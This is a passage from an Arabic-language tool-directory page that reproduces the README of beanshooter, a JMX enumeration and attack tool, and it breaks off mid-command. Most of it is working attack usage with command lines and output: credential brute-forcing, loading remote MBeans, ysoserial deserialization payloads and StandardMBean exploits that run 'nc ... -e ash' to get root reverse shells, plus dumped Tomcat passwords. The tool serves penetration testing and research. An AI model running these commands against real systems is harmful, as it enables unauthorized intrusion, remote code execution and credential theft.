Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
beanshooter — أداة تعداد واختراق JMX. | Kitploit
أدوات/GitHubGitHub/qtc-de/beanshooter
تحليل الثغرات الأمنيةالاستغلالاختبار الاختراق
GitHubqtc-de/beanshooter

beanshooter

أداة تعداد واختراق JMX.

عرض المستودع
50955منذ 3 سنواتتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

beanshooter


beanshooter هي أداة تعداد وهجوم لـ JMX، تساعد في تحديد الثغرات الشائعة على نقاط نهاية JMX.

https://user-images.githubusercontent.com/49147108/183278179-4a5566a7-5af8-4ce8-a73d-1016876a36d5.mp4

التثبيت


beanshooter هو مشروع maven وعملية التثبيت يجب أن تكون مباشرة. مع تثبيت maven، قم فقط بتنفيذ الأوامر التالية لإنشاء ملف .jar قابل للتنفيذ:```console [qtc@devbox ~]$ git clone https://github.com/qtc-de/beanshooter [qtc@devbox ~]$ cd beanshooter [qtc@devbox ~]$ mvn package

root@kitploit:~
يمكنك أيضًا استخدام الحزم المُعدة مسبقًا التي يتم إنشاؤها لكل [إصدار](https://github.com/qtc-de/beanshooter/releases).
يتم إنشاء الحزم المُعدة مسبقًا لفرع التطوير تلقائيًا ويمكن العثور عليها في صفحة *GitHub* [للإجراءات](https://github.com/qtc-de/beanshooter/actions).
كما أن صورة docker مُعدة مسبقًا لتشغيل *beanshooter* [متاحة](#docker-image).

*beanshooter* لا يتضمن *ysoserial* كاعتماد. لتمكين دعم *ysoserial*، تحتاج إما إلى تحديد المسار إلى ملف ``ysoserial.jar`` الخاص بك كوسيطة إضافية (مثل ``--yso /opt/ysoserial.jar``) أو تغيير المسار الافتراضي داخل [ملف تكوين beanshooter](https://github.com/qtc-de/beanshooter/blob/HEAD/beanshooter/config.properties) قبل بناء المشروع.

*beanshooter* يدعم الإكمال التلقائي لـ *bash*. للاستفادة من الإكمال التلقائي، تحتاج إلى تثبيت مشروع [completion-helpers](https://github.com/qtc-de/completion-helpers). إذا تم الإعداد بشكل صحيح، فإن مجرد نسخ [نص الإكمال](https://github.com/qtc-de/beanshooter/blob/HEAD/resources/bash_completion.d/beanshooter) إلى مجلد ``~/.bash_completion.d`` الخاص بك يُمكن الإكمال التلقائي.```console
[qtc@devbox ~]$ cp resources/bash_completion.d/beanshooter ~/bash_completion.d/

جدول المحتويات


  • العمليات المدعومة
    • العمليات الأساسية
      • attr
      • brute
      • deploy
      • enum
      • info
      • invoke
      • jolokia
      • list
      • model
      • serial
      • stager
      • standard
      • undeploy
    • عمليات MBean
      • عمومي
        • attr
        • info
        • invoke
        • stats
        • status
        • export
        • deploy
        • undeploy
      • تشخيصي
        • read
        • load
        • logfile
        • nolog
        • cmdline
        • props
      • hotspot
        • dump
        • list
        • get
        • set
      • mlet
        • load
      • recorder
        • new
        • start
        • stop
        • read
        • dump
      • tomcat
        • dump
        • list
        • write
      • tonka

العمليات المدعومة


يمكن تقسيم عمليات beanshooter المختلفة إلى مجموعتين: العمليات الأساسية و عمليات MBean. بينما تُستخدم العمليات الأساسية لإجراء عمليات عامة على نقطة نهاية JMX، تستهدف عمليات MBean MBean محدد للتفاعل معه. لمزيد من التفاصيل، راجع أمثلة الاستخدام في الأقسام التالية.```console [qtc@devbox ~]$ beanshooter -h usage: beanshooter [-h] ...

beanshooter v3.0.0 - a JMX enumeration and attacking tool

positional arguments:

Basic Operations attr set or get MBean attributes brute bruteforce JMX credentials deploy deploys the specified MBean on the JMX server enum enumerate the JMX service for common vulnerabilities info display method and attribute information on an MBean invoke invoke the specified method on the specified MBean list list available MBEans on the remote MBean server serial perform a deserialization attack stager start a stager server to deliver MBeans undeploy undeploys the specified MBEAN from the JMX server

MBean Operations diagnostic Diagnostic Command MBean hotspot HotSpot Diagnostic MBean mlet default JMX bean that can be used to load additional beans dynamically recorder jfr Flight Recorder MBean tomcat tomcat MemoryUserDatabaseMBean used for user management tonka general purpose bean for executing commands and uploading or download files

named arguments: -h, --help show this help message and exit

root@kitploit:~
### العمليات الأساسية

---

العمليات الأساسية هي عمليات عامة يمكن تنفيذها على خدمة JMX. وهي عادةً عمليات لا تستهدف MBean معينًا أو تستهدف MBean بدون دعم مدمج من beanshooter.

#### Attr

يمكن استخدام الإجراء `attr` للحصول على السمات أو تعيينها على *MBean* محدد. للحصول على السمات المتاحة، ينبغي استخدام الإجراء `info`:```console
[qtc@devbox ~]$ beanshooter info 172.17.0.2 9010
...
[+] MBean Class: sun.management.MemoryImpl
[+] ObjectName: java.lang:type=Memory
[+]
[+]     Attributes:
[+]         Verbose (type: boolean , writable: true)
[+]         ObjectPendingFinalizationCount (type: int , writable: false)
[+]         HeapMemoryUsage (type: javax.management.openmbean.CompositeData , writable: false)
[+]         NonHeapMemoryUsage (type: javax.management.openmbean.CompositeData , writable: false)
[+]         ObjectName (type: javax.management.ObjectName , writable: false)
[+]
[+]     Operations:
[+]         void gc()

عند تحديد اسم السمة فقط، يقوم beanshooter بالحصول على قيمة السمة الحالية وعرضها:```console [qtc@devbox ~]$ beanshooter attr 172.17.0.2 9010 java.lang:type=Memory Verbose false

root@kitploit:~
عندما يتم تحديد قيمة إضافية، يحاول *beanshooter* تعيين السمة المقابلة. بالنسبة للسمات
التي لها نوع مختلف عن *String*، فإن تحديد نوع السمة باستخدام الخيار `--type` مطلوب:```console
[qtc@devbox ~]$ beanshooter attr 172.17.0.2 9010 java.lang:type=Memory Verbose true --type boolean
[qtc@devbox ~]$ beanshooter attr 172.17.0.2 9010 java.lang:type=Memory Verbose
true

Brute

يقوم الإجراء brute بتنفيذ هجوم القوة العمياء على خدمة JMX محمية بكلمة مرور. عند التشغيل بدون وسائط اختيارية إضافية، يستخدم beanshooter قائمة كلمات مدمجة تحتوي على عدد قليل من مجموعات أسماء المستخدمين وكلمات المرور الشائعة. للهجمات الأكثر تخصصًا، يجب عليك استخدام الخيارات --username-file و --password-file لتحديد قوائم كلمات أكثر شمولاً.```console [qtc@devbox ~]$ beanshooter brute 172.17.0.2 1090 [+] Reading wordlists for the brute action. [+] Reading credentials from internal wordlist. [+] [+] Starting bruteforce attack with 10 credentials. [+] [+] Found valid credentials: admin:admin [+] [10 / 10] [########################################] 100% [+] [+] done.

root@kitploit:~
#### نشر

يمكن استخدام إجراء `deploy` لنشر *MBean* على خدمة *JMX*. **لا ينبغي** استخدام هذا الإجراء لنشر *MBeans* ذات الدعم الافتراضي مثل *TonkaBean* على سبيل المثال. يجب نشر *MBeans* ذات الدعم الافتراضي من خلال [عمليات MBean](#mbean-operations) المناسبة.

عندما يكون *MBean* الذي تريد نشره معروفًا بالفعل لخدمة *JMX*، فمن الكافي تحديد اسم الفئة الخاصة بفئة *MBean* المنفذة و `ObjectName` المطلوب:```console
[qtc@devbox ~]$ beanshooter deploy 172.17.0.2 9010 javax.management.monitor.StringMonitor qtc.test:type=Monitor
[+] Starting MBean deployment.
[+]
[+] 	Deplyoing MBean: StringMonitor
[+] 	MBean with object name qtc.test:type=Monitor was successfully deployed.

عندما لا تكون فئة MBean معروفة لخدمة JMX، يمكنك استخدام الخيارين --jar-file و --stager-url لتوفير تطبيق:```console [qtc@devbox ~]$ beanshooter deploy 172.17.0.2 9010 non.existing.example.ExampleBean qtc.test:type=Example --jar-file exampleBean.jar --stager-url http://172.17.0.1:8000 [+] Starting MBean deployment. [+] [+] Deplyoing MBean: ExampleBean [+] [+] MBean class is not known to the server. [+] Starting MBean deployment. [+] [+] Deplyoing MBean: MLet [+] MBean with object name DefaultDomain:type=MLet was successfully deployed. [+] [+] Loading MBean from http://172.17.0.1:8000 [+] [+] Creating HTTP server on: 172.17.0.1:8000 [+] Creating MLetHandler for endpoint: / [+] Creating JarHandler for endpoint: /c65c3cdc908348d8bd9a22b8a2bf8be3 [+] Starting HTTP server... [+] [+] Incoming request from: iinsecure.example [+] Requested resource: / [+] Sending mlet: [+] [+] Class: non.existing.example.ExampleBean [+] Archive: c65c3cdc908348d8bd9a22b8a2bf8be3 [+] Object: qtc.test:type=Example [+] Codebase: http://172.17.0.1:8000 [+] [+] Incoming request from: iinsecure.example [+] Requested resource: /c65c3cdc908348d8bd9a22b8a2bf8be3 [+] Sending jar file with md5sum: c4d8f40d1c1ac7f3cf7582092802a484 [+] [+] MBean with object name qtc.test:type=Example was successfully deployed.

root@kitploit:~
#### Enum

يقوم إجراء `enum` بتعداد بعض تفاصيل التهيئة على نقطة نهاية *JMX*. وهو يتحقق دائمًا مما إذا كانت نقاط نهاية *JMX* تتطلب المصادقة وما إذا كانت تسمح بإلغاء التسلسل التعسفي قبل المصادقة.```console
[qtc@devbox ~]$ beanshooter enum 172.17.0.2 1090
[+] Checking for unauthorized access:
[+]
[+] 	- Remote MBean server requires authentication.
[+] 	  Vulnerability Status: Non Vulnerable
[+]
[+] Checking pre-auth deserialization behavior:
[+]
[+] 	- Remote MBeanServer accepted the payload class.
[+] 	  Configuration Status: Non Default

عندما لا تكون المصادقة مطلوبة، أو عندما يتم تحديد بيانات اعتماد صالحة، فإن إجراء enum يحاول أيضًا تعداد بعض المعلومات الإضافية من نقطة نهاية JMX. يتضمن ذلك قائمة بـ MBeans غير الافتراضية، وعلى سبيل المثال حسابات المستخدمين المسجلة على خادم Apache tomcat:```console [qtc@devbox ~]$ beanshooter enum 172.17.0.2 1090 [+] Checking for unauthorized access: [+] [+] - Remote MBean server does not require authentication. [+] Vulnerability Status: Vulnerable [+] [+] Checking pre-auth deserialization behavior: [+] [+] - Remote MBeanServer rejected the payload class. [+] Vulnerability Status: Non Vulnerable [+] [+] Checking available MBeans: [+] [+] - 57 MBeans are currently registred on the MBean server. [+] Listing 39 non default MBeans: [+] - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=Valve,host=localhost,name=AccessLogValve) [+] - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=GlobalRequestProcessor,name="http-nio-8080") [...] [+] [+] Enumerating tomcat users: [+] [+] - Listing 3 tomcat users: [+] [+] ---------------------------------------- [+] Username: manager [+] Password: P@55w0rD# [+] Roles: [+] Users:type=Role,rolename="manager-gui",database=UserDatabase [+] Users:type=Role,rolename="manager-script",database=UserDatabase [+] Users:type=Role,rolename="manager-jmx",database=UserDatabase [+] Users:type=Role,rolename="manager-status",database=UserDatabase [+] [+] ---------------------------------------- [+] Username: admin [+] Password: s3cr3T!$ [+] Roles: [+] Users:type=Role,rolename="admin-gui",database=UserDatabase [+] Users:type=Role,rolename="admin-script",database=UserDatabase [...]

root@kitploit:~
عند استدعاء إجراء `enum` على نقطة نهاية محمية بـ *SASL*، يحاول *beanshooter* تعداد ملف تعريف *SASL* المكوّن للخادم. هذا ممكن فقط إلى حد معين، ولا يمكن تعداد تكوين *TLS* للخادم. إذا كان ملف تعريف *SASL* الذي حدده *beanshooter* لا يعمل، يجب عليك دائمًا إعادة المحاولة مع/بدون خيار `--ssl`:```console
[qtc@devbox ~]$ beanshooter enum 172.17.0.2 4447 --jmxmp
[+] Checking servers SASL configuration:
[+]
[+] 	- Remote JMXMP server uses SASL/DIGEST-MD5 SASL profile.
[+] 	  Credentials are requried and the following hostname must be used: iinsecure.example
[+] 	  Notice: TLS setting cannot be enumerated and --ssl may be required.
[+] 	  Vulnerability Status: Non Vulnerable
...

معلومات

يمكن استخدام الإجراء info للحصول على معلومات الطرق والصفات الخاصة بـ MBeans المتوفرة على MBean server. عند استدعائه بدون وسائط إضافية، تتم طباعة معلومات الطرق والصفات لجميع MBeans المتوفرة. عند تحديد ObjectName إضافي، تتم طباعة معلومات الطرق والصفات الخاصة بـ MBean المحدد فقط:```console [qtc@devbox ~]$ beanshooter info 172.17.0.2 9010 java.lang:type=Memory [+] MBean Class: sun.management.MemoryImpl [+] ObjectName: java.lang:type=Memory [+] [+] Attributes: [+] Verbose (type: boolean , writable: true) [+] ObjectPendingFinalizationCount (type: int , writable: false) [+] HeapMemoryUsage (type: javax.management.openmbean.CompositeData , writable: false) [+] NonHeapMemoryUsage (type: javax.management.openmbean.CompositeData , writable: false) [+] ObjectName (type: javax.management.ObjectName , writable: false) [+] [+] Operations: [+] void gc()

root@kitploit:~
#### Invoke

يمكن استخدام الإجراء `invoke` لاستدعاء طريقة عشوائية على *MBean* تم نشرها بالفعل على نقطة نهاية *JMX*.
بالإضافة إلى نقطة النهاية، يتطلب الإجراء `invoke` `ObjectName` من *MBean* المستهدف وتوقيع الطريقة التي تريد
استدعاءها. إذا كانت الطريقة المحددة تتوقع وسائط، فيجب أيضًا تحديد هذه الوسائط. يعرض القائمة التالية مثالًا
على استدعاء طريقة بدون وسائط، حيث يتم استدعاء الطريقة `vmVersion()` من *MBean* `DiagnosticCommand`:```console
[qtc@devbox ~]$ beanshooter invoke 172.17.0.2 1090 com.sun.management:type=DiagnosticCommand --signature 'vmVersion()'
OpenJDK 64-Bit Server VM version 11.0.14.1+1
JDK 11.0.14.1

عند استدعاء طريقة تتطلب معاملات، يتم تقييم وسائط beanshooter المحددة كـ كود Java. يمكن تمرير أنواع الوسائط البسيطة مثل الأعداد الصحيحة أو السلاسل النصية ببساطة عن طريق تحديد قيمتها المقابلة. يمكن بناء أنواع الوسائط المعقدة كما تفعل في Java (على سبيل المثال 'new java.util.HashMap()'). يوضح القائمة التالية مثالاً، حيث يتم استدعاء طريقة help(String[] args) على MBean الخاص بـ DiagnosticCommand:```console [qtc@devbox ~]$ beanshooter invoke 172.17.0.2 1090 com.sun.management:type=DiagnosticCommand --signature 'help(String[] args)' 'new String[] { "Compiler.directives_add" }' Compiler.directives_add Add compiler directives from file.

Impact: Low

Permission: java.lang.management.ManagementPermission(monitor)

Syntax : Compiler.directives_add

Arguments: filename : Name of the directives file (STRING, no default value)

root@kitploit:~
لأنواع الوسائط الأكثر تعقيدًا التي تتطلب بعض التهيئة، يمكنك استخدام *نظام البرامج الإضافية beanshooters* وتعريف فئة مخصصة تطبق [واجهة IArgumentProvider](https://github.com/qtc-de/beanshooter/blob/HEAD/beanshooter/src/de/qtc/beanshooter/plugin/IArgumentProvider.java).

#### Jolokia

كما هو موضح في [وثائق Jolokia](https://github.com/qtc-de/beanshooter/blob/HEAD/docs/jolokia.md) الخاصة بـ *beanshooters*، يمكن استخدام جميع إجراءات *beanshooter* تقريبًا مع مفتاح `--jolokia` لاستهداف نقاط نهاية *JMX* القائمة على *Jolokia*. بصرف النظر عن هذا الدعم العام لموصل *Jolokia JMX*، يدعم *beanshooter* إجراء `jolokia` مخصصًا واحدًا. يمكن استخدام هذا الإجراء لفرض اتصال صادر لوكيل *Jolokia* يعمل مع وضع الوكيل ممكّنًا:```console
[qtc@devbox ~]$ beanshooter jolokia 172.17.0.2 8080 172.17.0.1 4444 --username manager --password admin --ldap
[+] Attempting to trigger outboud connection to 172.17.0.1:4444
[+] Using proxy service URL: service:jmx:Rmi:///jndi/ldap://172.17.0.1:4444/beanshooter
...

[qtc@devbox ~]$ nc -vlp 4444
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 172.17.0.2.
Ncat: Connection from 172.17.0.2:60052.
0

يمكن تحقيق نفس النتيجة عن طريق استدعاء عملية beanshooter عادية مثل list واستخدام الخيار --jolokia-proxy service:jmx:.... تمت إضافة إجراء jolokia كاختصار حتى لا تحتاج إلى تذكر بناء جملة JNDI. عند استخدام إجراء jolokia، يُفترض الخيار --jolokia افتراضيًا.

قائمة

يقوم إجراء list بطباعة قائمة بجميع MBeans المسجلين على خدمة JMX البعيدة:```console [qtc@devbox ~]$ beanshooter list 172.17.0.2 9010 [+] Available MBeans: [+] [+] - sun.management.MemoryManagerImpl (java.lang:name=Metaspace Manager,type=MemoryManager) [+] - sun.management.MemoryPoolImpl (java.lang:name=Metaspace,type=MemoryPool) [+] - javax.management.MBeanServerDelegate (JMImplementation:type=MBeanServerDelegate) [...]

root@kitploit:~
#### Model

إجراء `model` هو أحد أقوى عمليات *beanshooter* ويطبق تقنية تم التعرف عليها بواسطة [Markus Wulftange](https://twitter.com/mwulftange) تتيح لك استدعاء أي طرق Java *عامة* و *ثابتة*. بالإضافة إلى ذلك، يمكن استدعاء طرق الكائنات *العامة* على مثيل كائن تم إنشاؤه من قبل المستخدم. المتطلبات الوحيدة هي أن وسيطات الطريقة المستخدمة ومثيل الكائن المقدم (لطرق *غير ثابتة*) يجب أن يكونا قابلين للتسلسل.

القائمة التالية توضح مثالاً للاستخدام، حيث يتم توفير كائن `File` كمثيل كائن ويتم استدعاء عملية `String[] list()` عليه:```console
[qtc@devbox ~]$ beanshooter model 172.17.0.2 9010 de.qtc.beanshooter:version=1 java.io.File 'new java.io.File("/")'
[+] Deploying RequiredModelMBean supporting methods from java.io.File
[+]
[+] 	Deplyoing MBean: RequiredModelMBean
[+] 	MBean with object name de.qtc.beanshooter:version=1 was successfully deployed.
[+]
[+] 	Available Methods:
[+] 	  - java.lang.String toString()
[+] 	  - int hashCode()
[+] 	  - [Ljava.lang.String; list()
[...]
[+] 	  - void setManagedResource(java.lang.Object, java.lang.String)
[+]
[+] 	Setting managed resource to: new java.io.File("/")
[+] 	Managed resource was set successfully.
[qtc@devbox ~]$ beanshooter invoke 172.17.0.2 9010 de.qtc.beanshooter:version=1 --signature 'list()'
root
var
opt
srv
bin
mnt
dev
proc
etc
usr
lib
tmp
home
run
media
sbin
sys
.dockerenv

طريقة setManagedResource متاحة دائمًا ويمكن استخدامها لتغيير مثيل الكائن للعمل عليه:```console [qtc@devbox ~]$ beanshooter invoke 172.17.0.2 9010 de.qtc.beanshooter:version=1 --signature 'setManagedResource(Object a, String b)' 'new java.io.File("/etc")' objectReference [+] Call was successful. [qtc@devbox ~]$ beanshooter invoke 172.17.0.2 9010 de.qtc.beanshooter:version=1 --signature 'list()' passwd shells opt modules mtab issue inittab hosts ...

root@kitploit:~
عند استدعاء الطرق *الثابتة*، يكون كائن المثيل مطلوبًا أيضًا. ومع ذلك، فإن الفئة الفعلية لكائن المثيل لا تهم. على سبيل المثال، إذا كنت تريد استدعاء `getProperties()` من `java.lang.System`، يمكنك أيضًا استخدام `String` بسيط ككائن مثيل. فقط اسم الفئة المحدد هو المهم في هذه الحالة:```console
[qtc@devbox ~]$ beanshooter model 172.17.0.2 9010 de.qtc.beanshooter:version=1 java.lang.System '"does not matter"'
[+] Deploying RequiredModelMBean supporting methods from java.lang.System
[+]
[+] 	Deplyoing MBean: RequiredModelMBean
[+] 	MBean with object name de.qtc.beanshooter:version=1 was successfully deployed.
[+]
[+] 	Available Methods:
[+] 	  - void runFinalization()
[+] 	  - java.lang.String setProperty(java.lang.String, java.lang.String)
[+] 	  - java.lang.String getProperty(java.lang.String)
[+] 	  - java.lang.String getProperty(java.lang.String, java.lang.String)
[+] 	  - long currentTimeMillis()
[+] 	  - long nanoTime()
[+] 	  - java.lang.SecurityManager getSecurityManager()
[+] 	  - void loadLibrary(java.lang.String)
[+] 	  - java.lang.String mapLibraryName(java.lang.String)
[+] 	  - void load(java.lang.String)
[+] 	  - java.lang.String lineSeparator()
[+] 	  - java.io.Console console()
[+] 	  - java.nio.channels.Channel inheritedChannel()
[+] 	  - java.util.Properties getProperties()
[+] 	  - void setProperties(java.util.Properties)
[+] 	  - java.lang.String clearProperty(java.lang.String)
[+] 	  - java.util.Map getenv()
[+] 	  - java.lang.String getenv(java.lang.String)
[+] 	  - void gc()
[+] 	  - void wait()
[+] 	  - java.lang.String toString()
[+] 	  - int hashCode()
[+] 	  - java.lang.Class getClass()
[+] 	  - void notify()
[+] 	  - void notifyAll()
[+] 	  - void setManagedResource(java.lang.Object, java.lang.String)
[+]
[+] 	Setting managed resource to: "does not matter"
[+] 	Managed resource was set successfully.
[qtc@devbox ~]$ beanshooter invoke 172.17.0.2 9010 de.qtc.beanshooter:version=1 --signature 'getProperties()'
java.vm.info
  --> mixed mode
java.runtime.version
  --> 11.0.18+10-alpine-r0
sun.io.unicode.encoding
  --> UnicodeLittle
...

يستخدم إجراء model التأمل (reflection) لتحديد الطرق المتاحة على الفئة المحددة. إذا لم تكن الفئة متوفرة محليًا، فلا يزال بإمكانك استخدامها عن طريق تحديد الطرق المتاحة عبر خيارات --signature أو --signature-file. ومع ذلك، للوصول إلى الفئات غير الافتراضية، تحتاج إلى توفير مثيل كائن ليس أيضًا فئة افتراضية (غير موجودة في rt.jar). هذا مطلوب، لأن الفئة المستهدفة تحتاج إلى أن يتم تحميلها بواسطة نفس ClassLoader مثل مثيل الكائن المقدم. بالنسبة لـ example-server الخاص بـ beanshooters، فإن javax.management.remote.message.VersionMessage مناسب، نظرًا لأن هذه الفئة موجودة في opendmk_jmxremote_optional_jar الموجود في كل من العميل والخادم. يمكننا استخدام هذا كمثيل كائن لاستدعاء طرق على فئات مخصصة أخرى، مثل de.qtc.beanshooter.server.utils.Logger:```console [qtc@devbox ~]$ beanshooter model 172.17.0.2 9010 de.qtc.beanshooter:version=0 de.qtc.beanshooter.server.utils.Logger 'new javax.management.remote.message.VersionMessage("test")' --signature 'String getIndent()' [+] Deploying RequiredModelMBean supporting user specified methods [+] [+] Deplyoing MBean: RequiredModelMBean [+] MBean with object name de.qtc.beanshooter:version=0 was successfully deployed. [+] [+] Available Methods: [+] - String getIndent() [+] - void setManagedResource(java.lang.Object, java.lang.String) [+] [+] Setting managed resource to: new javax.management.remote.message.VersionMessage("test") [+] Managed resource was set successfully. [qtc@devbox ~]$ beanshooter invoke 172.17.0.2 9010 de.qtc.beanshooter:version=0 --signature 'String getIndent()' EMPTY OUTPUT - Just an Indent ;)

root@kitploit:~
إذا كنت ترغب في معرفة المزيد عن التقنية التي تنفذها إجراء `model`، فإنني أوصي بشدة بهذه [المقالة](https://codewhitesec.blogspot.com/2023/03/jmx-exploitation-revisited.html) من [CODE WHITE](https://twitter.com/codewhitesec) التي تشرحها بتفصيل كبير.


#### Serial

يمكن استخدام إجراء `serial` لتنفيذ هجمات إلغاء التسلسل على نقطة نهاية *JMX*. بشكل افتراضي، يحاول الإجراء هجمات إلغاء التسلسل بعد المصادقة. لكي يعمل هذا، يجب أن تسمح خدمة *JMX* المستهدفة إما بالوصول غير المصادق عليه أو أن يكون لديك بيانات اعتماد صالحة:```console
[qtc@devbox ~]$ beanshooter serial 172.17.0.2 1090 CommonsCollections6 "nc 172.17.0.1 4444 -e ash" --username admin --password admin
[+] Attemting deserialization attack on JMX endpoint.
[+]
[+] 	Creating ysoserial payload... done.
[+] 	MBeanServer attempted to deserialize the DeserializationCanary class.
[+] 	Deserialization attack was probably successful.

[qtc@devbox ~]$ nc -vlp 4444
[...]
id
uid=0(root) gid=0(root) groups=0(root)

JMX يمكن أن تكون أيضًا عرضة لهجمات إلغاء التسلسل قبل المصادقة. لاستغلال ذلك، يمكنك استخدام --preauth المفتاح:```console [qtc@devbox ~]$ beanshooter serial 172.17.0.2 1090 CommonsCollections6 "nc 172.17.0.1 4444 -e ash" --preauth [+] Attemting deserialization attack on JMX endpoint. [+] [+] Creating ysoserial payload... done. [+] MBeanServer attempted to deserialize the DeserializationCanary class. [+] Deserialization attack was probably successful.

[qtc@devbox ~]$ nc -vlp 4444 [...] id uid=0(root) gid=0(root) groups=0(root)

root@kitploit:~
ضد نقاط نهاية *JMXMP*، عادةً ما يكون إلغاء التسلسل قبل المصادقة ممكنًا. لسوء الحظ، لا توجد طريقة لتعداد ذلك بشكل صحيح أثناء إجراء `enum`. إذا واجهت نقطة نهاية *JMXMP*، فعليك فقط تجربتها.

#### الناقل

يبدأ إجراء `stager` خادم ناقل يمكن استخدامه لتسليم *MBeans*. عادةً ما يتم إنشاء خادم ناقل لتسليم *MBean* تلقائيًا عند استخدام إجراء `deploy` الخاص بـ *beanshooters*. ومع ذلك، في بعض الأحيان يلزم استخدام خادم مستقل. عند استخدام إجراء `stager`، يمكنك إما تحديد اسم *MBean* مدمج لتسليمه (مثل `tonka`) أو الكلمة الأساسية `custom`. إذا تم تحديد `custom`، فإن الخيارات `--class-name` و `--object-name` و `--jar-file` مطلوبة.```console
[qtc@devbox ~]$ beanshooter tonka deploy 172.17.0.2 9010 --stager-url http://172.17.0.1:8888 --no-stager
[qtc@devbox ~]$ beanshooter stager 172.17.0.1 8888 tonka
[+] Creating HTTP server on: 172.17.0.1:8888
[+] Creating MLetHandler for endpoint: /
[+] Creating JarHandler for endpoint: /93691b8bae4143f087f7a3123641b20d
[+] Starting HTTP server.
[+] 
[+] Press Enter to stop listening.
[+]
[+] Incoming request from: iinsecure.example
[+] Requested resource: /
[+] Sending mlet:
[+]
[+] 	Class:     de.qtc.beanshooter.tonkabean.TonkaBean
[+] 	Archive:   93691b8bae4143f087f7a3123641b20d
[+] 	Object:    MLetTonkaBean:name=TonkaBean,id=1
[+] 	Codebase:  http://172.17.0.1:8888
[+]
[+] Incoming request from: iinsecure.example
[+] Requested resource: /93691b8bae4143f087f7a3123641b20d
[+] Sending jar file with md5sum: 6568ffb2934cb978dbd141848b8b128a

Standard

يقوم الإجراء standard بنشر StandardMBean يقوم بتنفيذ الصنف TemplateImpl لتحقيق أهداف مختلفة. تم تحديد هذه التقنية بواسطة Markus Wulftange ويقوم beanshooter بتنفيذها للسماح بتنفيذ الأوامر، رفع الملفات، ونشر TonkaBean.```console [qtc@devbox ~]$ beanshooter standard 172.17.0.2 9010 exec 'nc 172.17.0.1 4444 -e ash' [+] Creating a TemplateImpl payload object to abuse StandardMBean [+] [+] Deplyoing MBean: StandardMBean [+] MBean with object name de.qtc.beanshooter:standard=3873612041699 was successfully deployed. [+] [+] Caught NullPointerException while invoking the newTransformer action. [+] This is expected bahavior and the attack most likely worked :) [+] [+] Removing MBean with ObjectName de.qtc.beanshooter:standard=3873612041699 from the MBeanServer. [+] MBean was successfully removed. ... [qtc@devbox ~]$ nc -vlp 4444 Ncat: Version 7.93 ( https://nmap.org/ncat ) Ncat: Listening on :::4444 Ncat: Listening on 0.0.0.0:4444 Ncat: Connection from 172.17.0.2. Ncat: Connection from 172.17.0.2:40033. id uid=0(root) gid=0(root) groups=0(root)

root@kitploit:~
تنفيذ الأوامر عبر الإجراء `standard` يكون أعمى، ولا تتلقى مخرجات الأمر الخاص بك.
علاوة على ذلك، افتراضيًا يتم تمرير أمرك إلى `Runtime.exec(String str)`، والتي لا تدعم ميزات
الصدفة الخاصة. إذا كنت ترغب في استخدام ميزات الصدفة، استخدم الخيار `--exec-array` وحدد أمرك
على النحو التالي: `'sh -c echo "my cool command" > /tmp/test.txt'`. باستخدام `--exec-array`، يقوم *beanshooter* بتقسيم
الأمر المحدد إلى ثلاثة أجزاء ويمررها إلى `Runtime.exec(String[] arr)`. ومع ذلك، يوصى عمومًا
باستخدام نشر *TonkaBean* لتنفيذ الأوامر:```console
[qtc@devbox ~]$ beanshooter standard 172.17.0.2 9010 tonka
[+] Creating a TemplateImpl payload object to abuse StandardMBean
[+]
[+] 	Deplyoing MBean: StandardMBean
[+] 	MBean with object name de.qtc.beanshooter:standard=4121868972140 was successfully deployed.
[+]
[+] 	Caught NullPointerException while invoking the newTransformer action.
[+] 	This is expected bahavior and the attack most likely worked :)
[+]
[+] 	Removing MBean with ObjectName de.qtc.beanshooter:standard=4121868972140 from the MBeanServer.
[+] 	MBean was successfully removed.
[qtc@devbox ~]$ beanshooter tonka shell 172.17.0.2 9010
[[email protected] /]$ id
uid=0(root) gid=0(root) groups=0(root)

الميزة الكبيرة مقارنة بإجراء tonka deploy العادي هي أن النشر عبر StandardMBean لا يتطلب اتصال شبكة صادر. إذا لم يعمل النشر المباشر عبر standard ... tonka، فقد تتمكن من رفع ملف Jar الخاص بـ TonkaBean وتحميله عبر MLet وبروتوكول file://:```console [qtc@devbox ~]$ beanshooter tonka export --stager-url file:///tmp/ [+] Exporting MBean jar file: ./tonka-bean-4.0.0-jar-with-dependencies.jar [+] Exporting MLet HTML file to: ./index.html [+] Class: de.qtc.beanshooter.tonkabean.TonkaBean [+] Archive: tonka-bean-4.0.0-jar-with-dependencies.jar [+] Object: MLetTonkaBean:name=TonkaBean,id=1 [+] Codebase: file:/tmp/ [qtc@devbox ~]$ beanshooter standard 172.17.0.2 9010 upload tonka-bean-4.0.0-jar-with-dependencies.jar::/tmp/tonka-bean-4.0.0-jar-with-dependencies.jar [+] Creating a TemplateImpl payload object to abuse StandardMBean [+] [+] Deplyoing MBean: StandardMBean [+] MBean with object name de.qtc.beanshooter:standard=4825542879735 was successfully deployed. [+] [+] Caught NullPointerException while invoking the newTransformer action. [+] This is expected bahavior and the attack most likely worked :) [+] [+] Removing MBean with ObjectName de.qtc.beanshooter:standard=4825542879735 from the MBeanServer. [+] MBean was successfully removed. [qtc@devbox ~]$ beanshooter standard 172.17.0.2 9010 upload index.html::/tmp/index.html [+] Creating a TemplateImpl payload object to abuse StandardMBean [+] [+] Deplyoing MBean: StandardMBean [+] MBean with object name de.qtc.beanshooter:standard=4836961801045 was successfully deployed. [+] [+] Caught NullPointerException while invoking the newTransformer action. [+] This is expected bahavior and the attack most likely worked :) [+] [+] Removing MBean with ObjectName de.qtc.beanshooter:standard=4836961801045 from the MBeanServer. [+] MBean was successfully removed. [qtc@devbox ~]$ beanshooter tonka deploy 172.17.0.2 